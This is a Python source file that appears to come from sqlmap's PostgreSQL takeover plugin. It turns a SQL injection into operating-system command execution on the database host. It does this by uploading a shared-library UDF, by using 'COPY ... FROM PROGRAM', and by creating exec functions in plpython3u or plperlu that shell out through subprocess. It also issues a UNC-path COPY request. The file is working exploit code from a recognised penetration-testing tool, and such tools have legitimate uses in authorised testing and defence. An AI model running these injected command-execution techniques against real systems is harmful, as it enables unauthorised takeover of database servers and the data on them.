#!/usr/bin/env python

"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""

import os

from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import decloakToTemp
from lib.core.common import flattenValue
from lib.core.common import filterNone
from lib.core.common import isListLike
from lib.core.common import isNoneValue
from lib.core.common import isStackingAvailable
from lib.core.common import randomStr
from lib.core.compat import LooseVersion
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import OS
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def udfSetRemotePath(self):
        # On Windows
        if Backend.isOs(OS.WINDOWS):
            # The DLL can be in any folder where postgres user has
            # read/write/execute access is valid
            # NOTE: by not specifing any path, it will save into the
            # data directory, on PostgreSQL 8.3 it is
            # C:\Program Files\PostgreSQL\8.3\data.
            self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)

        # On Linux
        else:
            # The SO can be in any folder where postgres user has
            # read/write/execute access is valid
            self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)

    def udfSetLocalPaths(self):
        self.udfLocalFile = paths.SQLMAP_UDF_PATH
        self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)

        self.getVersionFromBanner()

        banVer = kb.bannerFp["dbmsVersion"]

        if not banVer or not banVer[0].isdigit():
            errMsg = "unsupported feature on unknown version of PostgreSQL"
            raise SqlmapUnsupportedFeatureException(errMsg)
        elif LooseVersion(banVer) >= LooseVersion("10"):
            majorVer = banVer.split('.')[0]
        elif LooseVersion(banVer) >= LooseVersion("8.2") and '.' in banVer:
            majorVer = '.'.join(banVer.split('.')[:2])
        else:
            errMsg = "unsupported feature on versions of PostgreSQL before 8.2"
            raise SqlmapUnsupportedFeatureException(errMsg)

        try:
            if Backend.isOs(OS.WINDOWS):
                _ = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll_")
                checkFile(_)
                self.udfLocalFile = decloakToTemp(_)
                self.udfSharedLibExt = "dll"
            else:
                _ = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so_")
                checkFile(_)
                self.udfLocalFile = decloakToTemp(_)
                self.udfSharedLibExt = "so"
        except SqlmapSystemException:
            errMsg = "unsupported feature on PostgreSQL %s (%s-bit)" % (majorVer, Backend.getArch())
            raise SqlmapUnsupportedFeatureException(errMsg)

    def udfCreateFromSharedLib(self, udf, inpRet):
        if udf in self.udfToCreate:
            logger.info("creating UDF '%s' from the binary UDF file" % udf)

            inp = ", ".join(i for i in inpRet["input"])
            ret = inpRet["return"]

            # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
            inject.goStacked("DROP FUNCTION %s(%s)" % (udf, inp))
            inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))

            self.createdUdf.add(udf)
        else:
            logger.debug("keeping existing UDF '%s' as requested" % udf)

    def uncPathRequest(self):
        self.createSupportTbl(self.fileTblName, self.tblField, "text")
        inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
        self.cleanup(onlyFileTbl=True)

    def copyExecCmd(self, cmd):
        output = None

        if isStackingAvailable() or conf.direct:
            # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
            self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
            self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
            self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
            inject.goStacked(self._forgedCmd)

            query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
            output = inject.getValue(query, resumeValue=False)

            if isListLike(output):
                output = flattenValue(output)
                output = filterNone(output)

                if not isNoneValue(output):
                    output = os.linesep.join(output)

            self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
            inject.goStacked(self._cleanupCmd)

        return output

    def checkCopyExec(self):
        if kb.copyExecTest is None:
            kb.copyExecTest = self.copyExecCmd("echo 1") == '1'

        return kb.copyExecTest

    def _plRun(self, func, cmd):
        output = inject.getValue("%s('%s')" % (func, cmd.replace("'", "''")), resumeValue=False, safeCharEncode=False)

        if isListLike(output):
            output = flattenValue(output)
            output = filterNone(output)

            if not isNoneValue(output):
                output = os.linesep.join(getText(_) for _ in output)

        return output

    def _plExecFunc(self):
        # NOTE: forge a command-exec function through an untrusted procedural language. Unlike the shared
        # library UDF this needs no precompiled binary (the ancient 'lib_postgresqludf_sys' artifacts),
        # only a superuser-installable language - a maintainable fallback when 'COPY ... FROM PROGRAM' is blocked
        if kb.get("plExecFunc") is None:
            kb.plExecFunc = ""

            if isStackingAvailable() or conf.direct:
                func = randomStr(lowercase=True)

                for language, body in (("plpython3u", "import subprocess; return subprocess.check_output(cmd, shell=True).decode()"),
                                       ("plperlu", "return `$_[0]`;")):
                    inject.goStacked("CREATE EXTENSION IF NOT EXISTS %s" % language, silent=True)
                    inject.goStacked("CREATE OR REPLACE FUNCTION %s(cmd text) RETURNS text AS $$ %s $$ LANGUAGE %s" % (func, body, language), silent=True)

                    if (self._plRun(func, "echo 1") or "").strip() == '1':
                        kb.plExecFunc = func

                        infoMsg = "the back-end DBMS allows command execution via the '%s' procedural language" % language
                        logger.info(infoMsg)

                        break

        return kb.plExecFunc or None

    def checkPlExec(self):
        return self._plExecFunc() is not None

    def plExecCmd(self, cmd, silent=False):
        func = self._plExecFunc()

        return self._plRun(func, cmd) if func else None
